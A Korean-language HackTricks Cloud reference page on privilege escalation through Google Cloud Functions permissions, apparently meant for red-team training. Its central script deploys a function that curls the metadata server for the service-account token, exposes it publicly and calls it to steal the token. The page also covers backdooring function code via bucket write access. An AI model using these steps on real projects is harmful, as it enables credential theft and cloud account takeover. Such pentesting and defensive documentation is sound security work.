GCP - Cloudfunctions Privesc
Reading time: 4 minutes
tip
AWS 해킹 배우기 및 연습하기:HackTricks Training AWS Red Team Expert (ARTE)
GCP 해킹 배우기 및 연습하기: HackTricks Training GCP Red Team Expert (GRTE)
Azure 해킹 배우기 및 연습하기:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks 지원하기
- 구독 계획 확인하기!
- **💬 Discord 그룹 또는 텔레그램 그룹에 참여하거나 Twitter 🐦 @hacktricks_live를 팔로우하세요.
- HackTricks 및 HackTricks Cloud 깃허브 리포지토리에 PR을 제출하여 해킹 트릭을 공유하세요.
cloudfunctions
Cloud Functions에 대한 추가 정보:
cloudfunctions.functions.create
, cloudfunctions.functions.sourceCodeSet
, iam.serviceAccounts.actAs
이 권한을 가진 공격자는 임의의 (악의적인) 코드를 가진 새로운 Cloud Function을 생성하고 이를 Service Account에 할당할 수 있습니다. 그런 다음 메타데이터에서 Service Account 토큰을 유출하여 권한을 상승시킬 수 있습니다.
함수를 트리거하기 위해 일부 권한이 필요할 수 있습니다.
이 방법에 대한 익스플로잇 스크립트는 여기와 여기에서 찾을 수 있으며, 미리 빌드된 .zip 파일은 여기에서 찾을 수 있습니다.
cloudfunctions.functions.update
, cloudfunctions.functions.sourceCodeSet
, iam.serviceAccounts.actAs
이 권한을 가진 공격자는 Function의 코드를 수정하고 심지어 연결된 서비스 계정을 수정하여 토큰을 유출할 수 있습니다.
caution
Cloud functions를 배포하려면 기본 컴퓨트 서비스 계정에 대한 actAs 권한이나 이미지를 빌드하는 데 사용되는 서비스 계정에 대한 actAs 권한이 필요합니다.
버전 1 cloudfunctions에 대한 .call
권한이나 함수를 트리거하기 위한 role/run.invoker
역할과 같은 추가 권한이 필요할 수 있습니다.
# Create new code
temp_dir=$(mktemp -d)
cat > $temp_dir/main.py <<EOF
import subprocess
def main(request):
cmd = "curl -s -f -H 'Metadata-Flavor: Google' 'http://metadata/computeMetadata/v1/instance/service-accounts/default/token'"
result = subprocess.check_output(cmd, shell=True, text=True)
return result
EOF
echo "" > $temp_dir/requirements.txt
zip -r $temp_dir/function.zip $temp_dir/main.py $temp_dir/requirements.txt
# Update code
gcloud functions deploy <cloudfunction-name> \
--runtime python312 \
--source $temp_dir \
--entry-point main \
--service-account <sa>@$PROJECT_ID.iam.gserviceaccount.com \
--trigger-http \
--allow-unauthenticated
# Get SA token calling the new function code
gcloud functions call <cloudfunction-name>
caution
Permission 'run.services.setIamPolicy' denied on resource...
오류가 발생하는 경우, 이는 --allow-unauthenticated
매개변수를 사용하고 있으며 충분한 권한이 없기 때문입니다.
이 방법에 대한 익스플로잇 스크립트는 여기에서 찾을 수 있습니다.
cloudfunctions.functions.sourceCodeSet
이 권한을 사용하면 함수 버킷에 파일을 업로드할 수 있는 서명된 URL을 얻을 수 있지만, 함수의 코드는 변경되지 않으며 여전히 업데이트해야 합니다.
# Generate the URL
curl -X POST https://cloudfunctions.googleapis.com/v2/projects/{project-id}/locations/{location}/functions:generateUploadUrl \
-H "Authorization: Bearer $(gcloud auth application-default print-access-token)" \
-H "Content-Type: application/json" \
-d '{}'
공격자의 관점에서 이 권한이 얼마나 유용할지는 잘 모르겠지만, 알아두면 좋습니다.
cloudfunctions.functions.setIamPolicy
, iam.serviceAccounts.actAs
이전의 .update
또는 .create
권한을 부여받아 상승할 수 있습니다.
cloudfunctions.functions.update
cloudfunctions
권한만 가지고 iam.serviceAccounts.actAs
권한이 없으면 함수를 업데이트할 수 없으므로 이는 유효한 권한 상승이 아닙니다.
버킷에 대한 읽기 및 쓰기 접근
버킷에 대한 읽기 및 쓰기 접근 권한이 있다면 코드의 변경 사항을 모니터링할 수 있으며, 버킷에서 업데이트가 발생할 때마다 새로운 코드를 자신의 코드로 업데이트할 수 있습니다. 그러면 새로운 버전의 Cloud Function이 제출된 백도어 코드로 실행됩니다.
공격에 대한 자세한 내용은 다음에서 확인할 수 있습니다:
그러나, 이를 사용하여 제3자의 Cloud Functions를 사전 침해할 수는 없습니다. 왜냐하면 자신의 계정에 버킷을 생성하고 외부 프로젝트가 그 위에 쓸 수 있도록 공개 권한을 부여하면 다음과 같은 오류가 발생하기 때문입니다:
 (1) (1).png)
caution
그러나, 이는 DoS 공격에 사용될 수 있습니다.
아티팩트 레지스트리에 대한 읽기 및 쓰기 접근
Cloud Function이 생성되면 새로운 도커 이미지가 프로젝트의 아티팩트 레지스트리에 푸시됩니다. 새로운 이미지로 이미지를 수정하려고 시도했지만, 현재 이미지를 삭제하고(cache
이미지도) 아무런 변화가 없었으며, Cloud Function은 계속 작동했습니다. 따라서, 아마도 버킷과 같은 경쟁 조건 공격을 악용하여 실행될 도커 컨테이너를 변경하는 것이 가능할 수 있습니다. 그러나 저장된 이미지를 수정하는 것만으로는 Cloud Function을 침해할 수 없습니다.
References
tip
AWS 해킹 배우기 및 연습하기:HackTricks Training AWS Red Team Expert (ARTE)
GCP 해킹 배우기 및 연습하기: HackTricks Training GCP Red Team Expert (GRTE)
Azure 해킹 배우기 및 연습하기:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks 지원하기
- 구독 계획 확인하기!
- **💬 Discord 그룹 또는 텔레그램 그룹에 참여하거나 Twitter 🐦 @hacktricks_live를 팔로우하세요.
- HackTricks 및 HackTricks Cloud 깃허브 리포지토리에 PR을 제출하여 해킹 트릭을 공유하세요.